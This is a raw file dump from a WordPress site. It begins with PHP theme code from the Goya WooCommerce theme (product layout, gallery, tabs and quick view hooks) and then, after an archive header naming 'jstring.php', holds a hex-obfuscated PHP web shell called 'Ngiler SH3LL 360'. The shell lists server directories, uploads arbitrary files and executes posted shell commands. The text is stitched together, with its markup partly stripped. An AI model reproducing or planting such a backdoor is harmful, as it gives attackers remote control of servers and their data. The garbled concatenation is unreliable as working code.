(class_exists('Zoo_Clever_Swatch_Shop_Page')) { $general_settings = get_option('zoo-cw-settings', true); $display_shop_page = $general_settings['display_shop_page']; if ($display_shop_page == 1) { echo do_shortcode('[zoo_cw_shop_swatch]'); } } } /* Single Product: Layout changes ---------------------------------------------------------- */ // Single Product: Gallery/information layout add_action( 'woocommerce_before_single_product_summary', 'goya_single_product_layout_before', 0 ); // Column middle tags add_action( 'woocommerce_before_single_product_summary','goya_single_product_layout_middle', 100 ); // Closing tags add_action( 'woocommerce_after_single_product_summary', 'goya_single_product_layout_after', 0 ); // Wishlist wrapper add_action( 'woocommerce_before_single_product', 'goya_add_wishlist_wrappers' ); add_action( 'goya_quickview_woocommerce_before_single_product', 'goya_add_wishlist_wrappers' ); add_action('woocommerce_single_product_summary', 'goya_sticky_bar_trigger', 33); /* Single Product: Add extra container to button cart elements */ function goya_add_wishlist_wrappers() { global $product; $cart_layout = get_theme_mod( 'product_cart_buttons_layout','mixed'); // Exclude some product types $product_types = array( 'wdm_bundle_product', 'external' ); $exclusions = apply_filters( 'goya_cart_wrapper_exclusions', $product_types ); if ( $cart_layout != 'stacked' && !in_array($product->get_type(), $exclusions) ) { if ( $product->is_type( 'grouped' ) ) { add_action('woocommerce_before_add_to_cart_button', 'goya_wishlist_div_open', 1); } else { add_action('woocommerce_before_add_to_cart_quantity', 'goya_wishlist_div_open', 1); } add_action('woocommerce_after_add_to_cart_button', 'goya_extra_div_close', 2); } } //Some plugin may move the default elements, so better add a unique div. function goya_sticky_bar_trigger() { echo ''; } /* Single Product: Wishlist/Share actions container */ function goya_button_cart_actions_before() { echo '
    '; } /* Single Product: Add extra container summary */ function goya_product_summary_open() { echo '
    '; } function goya_product_summary_divider() { echo '
    '; } function goya_single_product_price_clearfix() { echo '
    '; } /* Single Product: Add extra container to button cart elements */ function goya_wishlist_div_open() { echo '
    '; } function goya_extra_div_close() { echo '
    '; } /* Product summary: Opening tags */ function goya_qv_product_summary_open() { echo '
    '; } /* Product summary: Divider tags */ function goya_qv_product_summary_divider() { echo '
    '; } function goya_single_product_layout_before() { global $post, $product; // Title position $title_position = get_theme_mod('product_title_position','right'); // Header mode $transparent_header = goya_meta_config('product','transparent_header',false); // Product layout $product_layout = goya_meta_config('product','layout_single','regular'); // Showcase mode $is_showcase = ($product_layout == 'showcase') ? true : false; $showcase_fixed = get_theme_mod('product_showcase_fixed',false); $showcase_fixed = ( $showcase_fixed == true ) ? 'showcase-fixed' : 'showcase-regular'; // Product Classes $classes[] = 'product-showcase'; $classes[] = $showcase_fixed; $classes[] = ($is_showcase) ? 'showcase-active' : 'showcase-disabled'; $classes[] = !($is_showcase) ? 'product-title-' . $title_position : ''; $gallery_classes[] = 'product-gallery woocommerce-product-gallery-parent'; // Zoom $zoom_enabled = goya_meta_config('product','image_hover_zoom',false); $gallery_classes[] = ( $zoom_enabled ) ? 'zoom-enabled' : 'zoom-disabled'; // Lightbox if ( get_theme_mod('product_image_lightbox', true) == true ) { $gallery_classes[] = 'lightbox-enabled'; } else { $gallery_classes[] = 'lightbox-disabled'; if (!$zoom_enabled) { add_filter( 'woocommerce_single_product_image_thumbnail_html', 'goya_remove_link_single_product_image' ); } } // Featured video $video_local = get_post_meta( $product->get_id(), 'goya_product_featured_video_local', true ); $video_external = get_post_meta( $product->get_id(), 'goya_product_featured_video', true ); $has_video = ( !empty( $video_external )|| !empty($video_local) ) ? true : false; if ( $has_video ) { $gallery_classes[] = 'has-featured-video'; } $attachment_ids = $product->get_gallery_image_ids(); if ( $attachment_ids && has_post_thumbnail() ) { $gallery_classes[] = 'has-additional-thumbnails'; $gallery_classes[] = 'video-link-' . get_theme_mod('featured_video', 'gallery'); } $class = goya_single_product_layout_columns(); ?>

    get_title()); ?>

    $class_gal, 'inf' => $class_inf ); return $class_layout; } /* Single product: Remove link if lightbox is disabled */ function goya_remove_link_single_product_image( $html ) { return strip_tags( $html, '
    ,' ); } /* Single product: Set gallery options */ function goya_single_product_gallery_params( $params ) { $transition = get_theme_mod('product_gallery_transition','slide'); $mobile_thumbs = get_theme_mod('product_thumbnails_mobile','dots'); $swap_hover = get_theme_mod('product_thumbnails_swap_hover', false); // FlexSlider options if ( isset( $params['flexslider'] ) ) { $params['flexslider']['animation'] = $transition; $params['flexslider']['smoothHeight'] = true; $params['flexslider']['directionNav'] = true; $params['flexslider']['animationSpeed'] = ( $transition == 'fade' && $swap_hover == true ) ? 0 : 300; $params['flexslider']['rtl'] = is_rtl(); } // PhotoSwipe options if ( isset( $params['photoswipe_options'] ) ) { $params['photoswipe_options']['showHideOpacity'] = true; $params['photoswipe_options']['bgOpacity'] = 1; $params['photoswipe_options']['loop'] = false; $params['photoswipe_options']['closeOnVerticalDrag'] = false; $params['photoswipe_options']['barsSize'] = array( 'top' => 0, 'bottom' => 0 ); $params['photoswipe_options']['tapToClose'] = true; $params['photoswipe_options']['tapToToggleControls'] = false; } return $params; } add_filter( 'woocommerce_get_script_data', 'goya_single_product_gallery_params' ); /* Single product: Tabs - Change "Reviews" tab title */ function goya_woocommerce_reviews_tab_title( $title ) { $title = strtr( $title, array( '(' => '', ')' => '' ) ); return $title; } add_filter( 'woocommerce_product_reviews_tab_title', 'goya_woocommerce_reviews_tab_title' ); /* Single product: Tabs - Disable "Reviews" tab */ if ( get_theme_mod('product_reviews', true) == false || get_theme_mod('shop_catalog_mode', false) == true ) { function goya_woocommerce_remove_reviews( $tabs ) { unset( $tabs['reviews'] ); return $tabs; } add_filter( 'woocommerce_product_tabs', 'goya_woocommerce_remove_reviews', 98 ); remove_action('woocommerce_single_product_summary', 'woocommerce_template_single_rating', 10 ); } /* Add container to description tab */ add_filter( 'the_content', 'goya_product_description_container', 99 ); function goya_product_description_container( $content ){ if( is_product() ) { $content = '
    ' . $content .'
    '; } return $content; } /* Add container to short description */ add_filter( 'woocommerce_short_description', 'goya_short_description_container' ); function goya_short_description_container( $excerpt ){ $excerpt = '
    ' . $excerpt .'
    '; return $excerpt; } /* +/- quantity field buttons */ function goya_woocommerce_quantity_minus() { echo '' .goya_load_template_part('assets/img/svg/minus.svg') . ''; } add_action( 'woocommerce_before_quantity_input_field', 'goya_woocommerce_quantity_minus' ); function goya_woocommerce_quantity_plus() { echo '' .goya_load_template_part('assets/img/svg/plus.svg') . ''; } add_action( 'woocommerce_after_quantity_input_field', 'goya_woocommerce_quantity_plus' ); /*Single Product: Remove Reviews and Description if tabs are shown as accordion*/ function goya_product_tabs() { // Remove reviews and description from tabs function goya_woocommerce_remove_tabs( $tabs ) { global $product; unset( $tabs['reviews'] ); if ($product && get_the_content() == '') { $tabs['description']['title'] = __( 'Description', 'woocommerce' ); $tabs['description']['priority'] = 10; } if ( get_theme_mod('product_accordion_swap_description', true) == true ) { $tabs['description']['callback'] = 'goya_short_desc_product_accordion_content'; } return $tabs; } // Add short description content function goya_short_desc_product_accordion_content() { the_excerpt(); } // Add full description to original position function goya_full_description_product() { $description_layout = goya_meta_config('product','description_layout','boxed'); ?>

    get_id(), 'goya_product_featured_video', true ); if (!empty($video_url)) { $videos = explode(',', $video_url); foreach ( $videos as $video ) { // Test different Youtube URL's preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $video, $match); if (!empty($match[1])) { $video = 'https://www.youtube.com/watch?v=' . $match[1]; } if (strlen( $video ) > 0) { $videos_list[] = $video; } } } // Local videos $video_local = rwmb_meta( 'goya_product_featured_video_local' ); if ( !empty($video_local) && sizeof( (array) $video_local) > 0 ) { foreach ( $video_local as $video ) { $videos_list[] = $video['src']; } } ?>
    get_id(); $product_type = $product->get_type(); // Variations displayed as single products $parent_id = wp_get_post_parent_id($product_id); if ($parent_id != 0) { $product_id = $parent_id; } echo apply_filters( 'goya_product_quickview_link', ''. esc_html__( 'Quick View', 'goya' ) . '' ); } function goya_quick_view_show_product_images () { wc_get_template( 'quickview/product-image.php' ); } /* Shop Infinite Load ---------------------------------------------------------- */ function goya_shop_infinite_load_button() { $shop_infinite_load = goya_meta_config('shop','infinite_load','button'); if ( $shop_infinite_load !== 'regular' ) { ?>
    1, 'slidesToScroll' => 1, 'arrows' => true, 'dots' => true, 'fade' => ($transition == 'fade') ? true : false, 'speed' => 600, 'adaptiveHeight' => true, 'prevArrow' => ''.goya_load_template_part('assets/img/svg/chevron-left.svg').'', 'nextArrow' => ''.goya_load_template_part('assets/img/svg/chevron-right.svg').'', // 'lazyLoad' => 'progressive', 'rtl' => is_rtl(), ); return $slick; } add_filter( 'woo_variation_gallery_slider_js_options', 'goya_woo_variation_gallery_slider_js_options' ); add_filter( 'rtwpvg_slider_js_options', 'goya_woo_variation_gallery_slider_js_options' ); // Dequeue plugin slick style function goya_dequeue_plugin_style(){ wp_dequeue_style( 'woo-variation-gallery-slider' ); wp_dequeue_style( 'rtwpvg-slider' ); } add_action( 'wp_enqueue_scripts', 'goya_dequeue_plugin_style', 999 ); /* Compatibility with WC 6.x */ if ( version_compare( WC_VERSION, '7.0', '<' ) ) { if ( !function_exists( 'wc_wp_theme_get_element_class_name' ) ) { function wc_wp_theme_get_element_class_name($element) { return ''; } } } jstring.php000064400000244100151546551050006745 0ustar00. Login Elite ðŸ”
    "; ?>
    Zona Aman =1073741824){$bytes=''.$nf($bytes/1073741824,2).' GB';}elseif($bytes>=1048576){$bytes=''.$nf($bytes/1048576,2).' MB';}elseif($bytes>=1024){ $bytes=''.$nf($bytes/1024,3).' KB';}elseif($bytes>1){ $bytes=''.$bytes.' B';}elseif($bytes==1){ $bytes=''.$bytes.' B';}else{ $bytes='0 B';}return $bytes; }function fileExtension($file) { $sub = "\163\x75" . "\142\x73" . "\x74\x72"; $sthr = "\163\x74" . "\x72\x72" . "\x63\150\x72"; return $sub($sthr($file,'.'),1); }function fileIcon($file) {$stl = "\163\x74" . "\162\x74\157" . "\154\x6f\167\x65\x72";$fe = "\146\151\154" . "\x65\105\170" . "\x74\145\156" . "\x73\x69\x6f\x6e";$imgs = array("\x61\160\x6e\x67", "\141\x76\151\x66", "\x67\151\x66", "\x6a\160\x67", "\x6a\160\145\x67", "\x6a\x66\x69\146", "\160\152\160\x65\147", "\160\x6a\160", "\160\x6e\147", "\163\166\x67", "\x77\x65\142\160", "\x69\x63\157");$audio = array("\167\x61\x76", "\x6d\64\x61", "\155\64\142", "\x6d\160\x33", "\x6f\x67\x67", "\x77\x65\142\x6d", "\x6d\160\143");$ext=$stl($fe($file));if($file=="\145\162\x72\157" . "\162\x5f\x6c\x6f\x67") {return ' ';}elseif($file=="\56\x68\x74\141"."\x63\143\145\x73\x73") {return ' ';}if($ext=="\x68\x74\155\x6c"||$ext=="\x68\x74\155") {return ' ';}elseif($ext=="\160"."\x68\160"||$ext=="\160\150\x74\x6d\154") {return ' ';}elseif(in_array($ext,$imgs)) {return ' ';}elseif($ext=="\x7a\151\160"){return ' ';}elseif($ext=="\x63\163\x73"){return ' ';}elseif($ext=="\x74\x78\164"){return ' ';}elseif(in_array($ext,$audio)) {return ' ';}elseif($ext=="\160\171"){return ' ';}elseif($ext=="\x6a\163"){return ' ';}elseif($ext=="\x6d\x70\64"){return ' ';}else{return ' ';} } function encodePath($path) {$stce = "\163\x74" . "\x72\x5f\x72\x65\160" . "\154\141\143\145";$a = array("\x2f", "\134", "\x2e", "\72");$b = array(net("\340\246\225"),net("\xe0\246\x96"),net("\340\xa6\227"),net("\340\xa6\230"));return $stce($a,$b,$path); } function decodePath($path) {$stce = "\163\x74" . "\x72\x5f\x72\x65\160" . "\154\141\143\145";$a = array("\57", "\x5c", "\56", "\x3a");$b = array(net("\340\246\x95"),net("\340\246\x96"),net("\340\xa6\227"),net("\340\xa6\230")); return $stce($b,$a,$path); } function net($hexnet) {$slen = "\x73\164" . "\162\154" . "\145\x6e";$dhx = "\144\x65\x63\x68" . "\x65\170";$or = "\x6f\x72" . "\x64"; for ($i = 0; $i < $slen($hexnet); $i++) {$d7net .= $dhx($or($hexnet[$i]));}return $d7net; } function ipserv() {$ghb = "\147\145" . "\164\150\157" . "\x73\x74\142\171\x6e" . "\141\155\145";if (empty($_SERVER["\123\105\122" . "\126\x45\122\x5f\101\x44" . "\104\122"])) {return $ghb($_SERVER["\x53\x45\x52\126" . "\105\x52\137\116" . "\x41\115\x45"]);if (empty($ghb($_SERVER["\x53\x45\x52\126" . "\105\x52\137\116" . "\x41\115\x45"]))) {return $_SERVER["\x53\x45\x52\126" . "\105\x52\137\116" . "\x41\115\x45"];}} else {return $_SERVER["\x53\105\x52\x56" . "\x45\x52\137\x41\x44" . "\104\122"];}} echo "\74\144\151\x76\40\x73\x74\171\154\x65\x3d\x27\155\141\162\147\x69\x6e\55\x62\157\164\164\157\155\72\40\x30\160\170\x3b\x20\155\141\x72\147\x69\x6e\55\x6c\145\146\164\72\40\60\x70\x78\x3b\47\76"; echo "
    "; echo '
    '; $rutpat=__DIR__; if(isset($_GET['p'])){ if(empty($_GET['p'])){ $p=$rutpat; }elseif(!$isd($dept($_GET['p']))){ echo "\74\163\x63\x72\151\x70\x74\76\12\141\x6c\x65\162\164\50\47\x44\x69\162\x65\143" . "\164\x6f\x72\171\40\151\x73\40\103\x6f\x72\162\x75\x70\x74\145\x64\40\x61\x6e\x64\40\125\x6e\x72\145\141" . "\x64\x61\142\x6c\x65\56\x27\x29\x3b\12\x77\x69\x6e\x64\x6f\x77\56\x6c\157\143\x61\164" . "\151\x6f\x6e\x2e\x72\145\160\x6c\x61\143\145\x28\x27\x3f\x27\51\x3b\12\74\x2f\x73\x63\x72\151\x70\x74\76"; }elseif($isd($dept($_GET['p']))){ $p=$dept($_GET['p']); } }elseif(isset($_GET['q'])){ if(!$isd($dept($_GET['q']))){ echo "\74\163\x63\162\151\160\164\76\x77\x69\156\144\157\x77\56\154\157\143\141\164\x69\x6f\156\56\x72\145\x70\x6c\x61\x63\145\50\x27\77\160\75\x27\51\x3b\74\x2f\163\143\x72\x69\160\164\x3e"; }elseif($isd($dept($_GET['q']))){ $p=$dept($_GET['q']); } }else{ $p=$rutpat; } define("PATH",$p); if(isset($_GET['p'])){ if($isr(PATH)){ $fetch_obj=$scd(PATH); $folders=array(); $files=array(); foreach($fetch_obj as $obj){ if($obj=='.'||$obj=='..'){ continue; } $new_obj=PATH.'/'.$obj; if($isd($new_obj)){ array_push($folders,$obj); }elseif(is_file($new_obj)){ array_push($files,$obj); } } } // mnu echo "\x3c\x74\141\142\x6c\x65\x20\143\x6c\141\163\163\75\47\x74\141\142\x6c\x65\40\x74\141\142\154\x65\x2d\144\x61\x72\x6b\x27\x20\x73\x74\x79\x6c\x65\75\x27\167\x69\x64\164\x68\x3a\67\60\45\x3b\142\x6f\x78\x2d\x73\x68\x61\x64\157\167\x3a\x20\60\40\x30\40\65\160\170\40\43\x30\x44\x39\x37\101\65\47\x20\x61\x6c\x69\x67\x6e\75\x27\143\x65\156\x74\145\162\47\76\74\164\150\x65\x61\144\x20\163\x74\x79\154\x65\75\47\55\55\142\x73\x2d\x74\141\x62\x6c\x65\55\x62\x67\x3a\43\x30\104\x39\67\101\65\x3b\x2d\55\142\x73\x2d\x74\141\x62\154\145\x2d\x63\157\x6c\x6f\162\72\43\x30\x30\x30\73\47\76\x3c\164\162\76\x3c\x74\150\x3e\x3c\x64\x69\x76\x20\x73\164\171\154\145\x3d\x27\x66\157\x6e\x74\x2d\x66\141\x6d\x69\x6c\x79\x3a\124\162\141\144\x65\x20\127\151\156\144\x73\73\146\x6f\156\164\55\163\151\x7a\x65\72\62\64\160\170\73\x63\157\154\157\x72\x3a\x23\60\60\60\x3b\47\40\141\154\151\147\x6e\x3d\x27\143\x65\x6e\164\x65\x72\x27\76\74\x69\x20\x63\x6c\141\163\x73\75\x27\x66\141\x2d\x62\162\x61\156\144\x73\x20\146\x61\x2d\x6e\x61\160\163\x74\x65\162\x27\76\x3c\57\x69\76\40\x3c\x61\x20\x68\x72\145\146\x3d\x27" . $_SERVER["\x53\x43\x52" . "\111\x50\x54\137\x4e" . "\x41\115\x45"] . "\47\x3e\116\x67\151\x6c\x65\162\x20\123\x48\63\114\114\40\x33\x36\60\74\x2f\x61\76\74\57\x64\151\166\x3e\74\x2f\164\x68\76\74\57\164\x72\76\74\57\x74\x68\x65\141\x64\x3e\x3c\164\x64\76"; echo "\x3c\143\x65\156\164\145\x72\76\x3c\x62\165\164\x74\x6f\x6e\40\x6f\156\143\x6c\x69\143\153\x3d\154\x6f\143\141\x74\x69\157\x6e\56\x68\x72\145\146\x3d\x27" . $_SERVER["\x53\x43" . "\122\x49\x50" . "\124\x5f\x4e\x41" . "\x4d\105"] . "\x27\x20\143\154\x61\x73\163\75\x27\x62\164\x6e\40\x62\164\156\x2d\x6f\x75\164\x6c\x69\156\145\55\x6c\x69\x67\x68\x74\x27\x3e\x3c\x69\x20\x63\154\x61\163\x73\75\47\146\x61\163\x20\146\x61\x2d\x68\157\x6d\x65\47\x3e\x3c\57\151\x3e\x20\x48\x6f\155\145\74\x2f\x62\x75\x74\164\x6f\156\x3e\46\156\x62\163\x70\73"; echo "\x3c\142\x75\x74\x74\x6f\x6e\x20\151\144\x3d\x22\x49\x6e\146\157\162\x6d\141\x74\x69\157\156\x22\40\143\x6c\141\163\x73\75\x22\142\x74\x6e\x20\142\x74\156\55\x6f\165\x74\154\x69\x6e\x65\55\x6c\151\x67\x68\164\x22\76\x3c\x69\x20\x63\x6c\x61\x73\x73\75\x22\x66\x61\40\146\x61\55\151\x6e\146\x6f\55\x63\151\162\143\x6c\145\x22\76\x3c\57\x69\x3e\x49\x6e\146\157\x72\155\141\x74\151\x6f\x6e\74\x2f\x62\165\164\164\x6f\156\x3e\46\x6e\142\x73\x70\73"; echo "\74\142\165\x74\164\157\x6e\x20\157\156\x63\x6c\x69\x63\153\75\154\x6f\143\141\164\151\157\156\x2e\150\162\x65\x66\x3d\x27\77\x70\x3d" . $uren($enp(PATH)) . "\x26\x6f\160\x65\x74\75" . net("\143\x72\x65" . "\141\x74\x65\x66\x69" . "\154\145") . "\x27\40\x63\154\x61\x73\163\75\x27\x62\164\x6e\x20\x62\x74\x6e\x2d\x6f\x75\x74\x6c\151\156\145\55\154\151\147\150\164\x27\x3e\x3c\x69\x20\143\154\141\163\163\x3d\x27\146\x61\x2d\163\157\154\x69\x64\x20\146\141\x2d\146\151\x6c\145\x2d\143\151\162\143\154\x65\x2d\x70\154\165\x73\47\x3e\74\57\151\x3e\40\x43\x72\145\141\x74\145\40\106\x69\x6c\x65\x3c\57\142\x75\164\164\x6f\156\76\x26\x6e\142\x73\x70\73"; echo "\x3c\x62\x75\x74\164\x6f\156\40\157\x6e\143\x6c\x69\x63\153\75\x6c\x6f\x63\141\x74\x69\x6f\156\56\x68\162\x65\x66\75\47\77\160\75" . $uren($enp(PATH)) . "\46\157\160\x65\164\x3d" . net("\x62\165\x61\164\144" . "\x69\x72") . "\47\40\143\x6c\x61\163\x73\75\x27\142\x74\156\40\x62\x74\156\x2d\x6f\165\164\154\x69\156\x65\55\x6c\x69\147\x68\x74\47\76\74\x69\40\143\154\x61\163\x73\75\47\x66\x61\55\x73\157\154\x69\x64\x20\x66\x61\55\x66\157\154\x64\x65\x72\55\x70\x6c\165\163\47\76\x3c\57\x69\76\40\x43\x72\x65\141\164\145\x20\x46\x6f\154\144\145\x72\74\x2f\x62\165\164\x74\x6f\156\76"; echo "\x3c\57\143\x65\156\164\x65\x72\x3e\x3c\150\x72\40\143\157\154\157\x72\75\47\167\x68\151\164\145\x27\x3e\104\x69\162\40\x3a\x20"; $exp = "\x65\x78\x70" . "\x6c\157" . "\x64\145"; $path=$stce('\\','/',PATH); $paths=$exp('/',$path); foreach($paths as $id=>$dir_part){ if($dir_part==''&&$id==0){ $a=true; echo "\74\x61\x20\150\162\145\x66\x3d\42\x3f\x70\x3d\x2f\42\x3e\x3c\x2f\x69\76\x20\72\x20\57\74\57\x61\x3e";continue; }if($dir_part=='')continue; echo "\74\141\40\150\x72\x65\146\x3d\x27\x3f\160\75";for($i=0;$i<=$id;$i++){ echo $stce(":",net("\340\246\x98"),$paths[$i]); if($i!=$id) echo net("\340\246\225"); } echo "\47\x20\x73\164\x79\x6c\145\75\x27\x66\x6f\x6e\x74\x2d\x73\x69\x7a\x65\x3a\61\x34\160\x78\x3b\40\143\157\154\x6f\x72\72\40\167\150\x69\x74\145\73\x20\x74\x65\x78\164\55\x64\145\x63\157\x72\141\x74\151\x6f\x6e\x3a\40\x6e\157\156\x65\73\x27\76" . $dir_part . "\74\x2f\141\x3e\x26\x6e\x62\x73\160\x3b\x2f\40"; } echo ""; echo "\74\x74\141\x62\x6c\145\40\143\154\141\x73\x73\75\x22\164\x61\x62\154\x65\40\164\x61\142\154\x65\55\144\141\x72\x6b\42\x20\x73\x74\171\154\x65\75\x22\167\151\x64\164\x68\72\x37\60\45\73\x62\x6f\170\55\163\x68\x61\x64\x6f\167\x3a\x20\60\x20\x30\40\65\x70\x78\40\x23\x30\104\x39\x37\101\x35\42\x20\141\154\151\147\x6e\75\x22\143\x65\156\x74\145\x72\x22\76\74\x74\144\76\xa\74\146\x6f\162\155\x20\x63\154\x61\x73\163\75\42\162\x6f\x77\x20\147\x2d\63\x22\40\155\x65\164\x68\x6f\x64\x3d\42\160\x6f\x73\164\x22\76\xa\40\40\x3c\144\x69\x76\40\x63\154\141\x73\163\75\42\x63\157\154\55\x61\165\x74\x6f\x22\x3e\xa\x20\40\x3c\144\x69\x76\x20\x63\154\x61\163\x73\x3d\42\x69\156\160\x75\x74\x2d\x67\x72\x6f\165\x70\x22\x20\x73\164\x79\154\x65\x3d\42\167\151\x64\164\150\x3a\x36\x33\60\160\x78\x3b\x22\x3e\12\x20\x20\40\40\x3c\151\156\x70\165\x74\40\164\x79\x70\145\75\42\x74\145\x78\164\x22\x20\166\141\x6c\x75\x65\x3d\x22" . $_POST["\153\157\x6d\141\x6e"] . "\x22\x20\x70\x6c\x61\x63\145\x68\x6f\154\144\145\x72\x3d\x22\x75\x6e\x61\x6d\x65\40\x2d\141\42\x20\x6e\x61\x6d\145\75\x22\x6b\157\155\141\x6e\42\40\x63\x6c\141\163\x73\75\42\146\x6f\162\155\x2d\x63\157\x6e\x74\x72\x6f\154\42\x3e\12\x20\40\x20\40\74\x69\156\160\x75\164\40\x74\171\x70\145\x3d\42\163\165\x62\155\x69\164\x22\x20\143\154\x61\163\x73\x3d\42\x62\164\x6e\x20\142\x74\156\55\x6f\x75\164\x6c\x69\x6e\145\x2d\x6c\151\147\150\164\42\40\166\141\x6c\165\x65\x3d\x22\145\x78\x65\x63\x75\x74\145\42\x20\156\141\x6d\145\x3d\42\163\165\x62\155\151\x74\42\x3e\xa\40\x20\74\x2f\144\151\x76\x3e\74\x2f\144\x69\166\76\xa\x20\x20\x3c\144\x69\x76\x20\x63\x6c\141\163\163\x3d\42\x63\x6f\154\x2d\x61\x75\164\x6f\x22\76\x3c\x2f\146\157\x72\155\76\xa\x20\x20\74\146\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\x22\x50\117\123\124\x22\x20\145\156\x63\x74\x79\x70\x65\75\x22\x6d\x75\154\x74\151\160\x61\x72\164\57\x66\157\162\x6d\x2d\144\141\164\141\42\x3e\xa\40\x20\x3c\x64\x69\166\x20\143\154\141\163\x73\75\42\151\x6e\x70\165\x74\x2d\147\x72\x6f\x75\x70\x22\40\x73\164\171\154\145\x3d\42\167\x69\x64\x74\150\x3a\63\67\60\x70\x78\x3b\42\x3e\12\40\40\x20\40\x3c\x69\156\x70\165\164\40\164\x79\x70\145\x3d\x22\146\x69\x6c\145\42\40\156\141\155\145\x3d\x22\146\x69\154\145\x54\x6f\125\x70\154\x6f\x61\x64\42\40\x63\154\x61\163\x73\x3d\42\146\x6f\x72\x6d\55\143\157\156\164\x72\157\154\x22\x20\151\144\75\x22\146\151\154\145\x54\157\125\160\x6c\x6f\x61\x64\x22\x3e\xa\x20\40\40\40\x3c\151\156\x70\165\x74\40\x74\171\160\x65\x3d\x22\163\x75\142\155\x69\164\42\x20\143\154\141\163\x73\x3d\42\x62\x74\156\40\x62\164\156\55\157\165\x74\154\151\x6e\145\x2d\154\151\x67\150\164\42\x20\x76\141\154\x75\145\75\x22\165\160\x6c\157\x61\144\42\x20\156\x61\155\145\x3d\42\165\x70\154\x6f\144\x22\x3e\xa\40\40\74\x2f\x64\151\x76\x3e\74\x2f\144\x69\x76\x3e\12\x3c\x2f\146\157\x72\155\76\x3c\57\x74\x64\76\74\57\164\x61\142\154\x65\76"; if(isset($_POST["up"."lod"])){ $filez = PATH . "\57" . $_FILES["\x66\151\154" . "\x65\124\x6f\x55\x70" . "\154\x6f\141\144"]["\x6e\141\155\x65"]; $bsn = "\142\x61\x73" . "\x65\156\x61\x6d\145"; $mvup = "\155\x6f\x76" . "\145\x5f\165\x70\x6c\157" . "\x61\x64\145\144\x5f\146" . "\151\x6c\x65"; if($mvup($_FILES["\x66\151" . "\154\x65\124\157\125" . "\160\x6c\157" . "\141\144"]["\x74\155" . "\160\137\x6e\x61" . "\x6d\145"],$filez)){ echo "\x3c\164\141\142\x6c\x65\40\143\x6c\141\x73\163\75\47\164\x61\x62\154\145\x20\164\141\142\x6c\x65\55\x64\x61\162\153\x27\x20\163\164\171\x6c\145\x3d\x27\167\151\x64\x74\x68\x3a\63\60\45\73\x62\157\x78\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\40\x30\x20\x35\160\x78\x20\43\60\x44\x39\x37\101\x35\x3b\47\x20\141\x6c\151\147\156\x3d\47\x63\145\x6e\164\x65\x72\47\x3e\12\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\74\164\x68\x65\x61\x64\x20\x73\164\171\154\x65\x3d\47\x2d\55\142\x73\x2d\164\141\142\x6c\x65\55\x62\x67\x3a\43\60\104\x39\67\x41\x35\x3b\55\55\142\163\x2d\164\141\142\154\x65\55\x63\157\154\157\x72\72\x23\x30\x30\x30\x3b\x27\x3e\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x3c\164\x72\x3e\x3c\x74\x68\x3e\x3c\x66\157\156\x74\x20\143\x6f\x6c\x6f\x72\75\x27\154\151\155\145\x27\x3e\x53\x75\143\x63\x65\x73\x73\x66\x75\x6c\154\171\56\74\x2f\146\157\x6e\x74\76\x3c\57\x74\150\x3e\74\57\x74\x72\x3e\x3c\57\164\150\145\x61\144\x3e\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x3c\x74\x64\x3e" . $bsn($filez) . "\40\150\141\x73\40\142\x65\x65\156\40\x75\x70\154\157\141\144\x65\x64\x2e\x3c\x2f\164\144\x3e\x3c\x2f\164\141\142\154\x65\x3e"; }else{ echo "\x3c\x74\x61\x62\x6c\145\40\x63\154\x61\x73\x73\75\47\164\x61\x62\154\145\x20\164\141\142\x6c\x65\55\x64\141\x72\x6b\47\40\x73\164\171\x6c\x65\x3d\x27\x77\x69\144\164\150\x3a\x33\60\45\73\x62\157\x78\55\x73\x68\x61\144\x6f\167\x3a\x20\60\40\60\x20\x35\160\x78\x20\x23\x30\104\x39\67\101\65\73\x27\x20\x61\154\151\x67\x6e\x3d\47\143\145\156\x74\x65\162\47\76\12\40\40\40\40\40\x20\x20\40\40\40\x20\40\40\40\x20\40\x3c\164\150\145\141\144\40\163\x74\171\x6c\145\75\47\x2d\x2d\142\163\x2d\164\x61\142\154\145\x2d\142\x67\72\43\60\x44\71\67\101\x35\73\55\55\142\x73\55\x74\141\142\x6c\x65\55\143\x6f\154\157\162\72\43\60\x30\60\73\47\x3e\12\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x3c\164\x72\x3e\74\164\150\76\x3c\x66\x6f\x6e\164\40\x63\157\154\157\162\75\x27\x23\106\70\62\67\x30\x36\47\76\106\101\x49\x4c\114\105\104\x2e\x3c\57\x66\157\156\164\x3e\x3c\x2f\x74\150\76\x3c\57\164\162\x3e\x3c\57\164\x68\145\141\x64\76\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x3c\x74\x64\76\123\157\162\162\171\54\x20\164\x68\145\162\145\40\x77\x61\163\40\x61\156\40\145\x72\x72\x6f\x72\x20\165\x70\x6c\x6f\141\144\x69\156\147\40\171\157\x75\x72\40\146\151\154\145\56\74\57\x74\x64\76\74\57\164\x61\142\x6c\x65\x3e"; }exit(); } if(isset($_POST['submit'])) { ekse($_POST['koman'], PATH); } echo "\74\57\143\145\x6e\164\145\162\x3e\12\x3c\144\151\166\x20\x69\x64\x3d\42\x6d\171\115\157\144\x61\154\x22\40\143\154\x61\163\x73\x3d\42\155\157\144\x61\154\x22\76\xa\x20\40\74\x64\x69\166\40\143\154\x61\x73\x73\x3d\42\x6d\x6f\144\x61\154\55\x63\x6f\x6e\x74\x65\156\164\x22\76\xa\x20\40\x3c\x74\141\x62\154\145\x20\x63\154\x61\x73\163\75\x22\164\x61\x62\x6c\x65\40\x74\x61\142\154\x65\x2d\x64\x61\x72\153\42\40\x73\164\171\x6c\145\75\x22\167\151\x64\164\x68\72\61\x30\60\x25\x3b\42\76\74\x74\x68\x65\141\144\x20\x73\164\x79\x6c\145\75\42\55\55\142\163\x2d\x74\x61\142\154\x65\55\142\x67\72\x23\60\104\x39\67\x41\x35\73\x2d\x2d\x62\163\55\x74\141\142\154\x65\55\143\157\154\157\x72\x3a\x23\60\60\60\x3b\x22\x3e\x3c\x74\162\76\74\164\x68\x3e\12\x20\x20\x20\40\x49\x6e\x66\x6f\x72\155\x61\x74\x69\x6f\156\40\x53\x65\x72\166\145\162\74\x2f\164\x68\76\x3c\57\x74